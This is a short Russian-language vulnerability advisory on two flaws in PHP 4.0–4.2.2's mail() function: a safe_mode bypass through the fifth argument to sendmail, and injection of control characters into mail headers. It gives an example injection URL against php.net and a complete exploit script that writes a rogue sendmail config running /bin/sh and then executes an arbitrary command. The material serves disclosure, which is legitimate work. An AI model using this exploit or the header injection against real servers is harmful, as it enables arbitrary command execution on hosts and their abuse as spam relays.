PHP - среда разработки Personal HomePage от PHP Development Team. В PHP функции mail() обнаружено 2 уязвимости. Первая позволяет выполнять произвольные программы/сценарии в обход safe_mode, вторая позволяет подделывать почтовые заголовки и использовать сценарий в качестве открытого почтового ретранслятора. 

Обход ограничений safe_mode: gятый аргумент в функции mail() позволяет
передавать опции командной строки к sendmail. Недавно была обнаружена возможность передачи метасимволов в 5-м аргументе, что позволяет выполнять произвольные команды оболочки или внешние программы. Эксплоит ниже. 

Внедрение управляющих ASCII символов в параметры функции mail().:
если параметры передаются от пользователя, то он может подделать любые почтовые заголовки. Пример:
http://www.php.net/mailing-lists.php? maillist=your@email.com%0a&email=fake@from.net%0a.

Уязвимость обнаружена в PHP 4.0- 4.2.2.

8<----- bypass_safe_mode.php -----8<
<?
$script=tempnam("/tmp", "script");
$cf=tempnam("/tmp", "cf");

$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);

$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);

mail("nobody", "", "", "", "-C$cf");
?>

Оставить мнение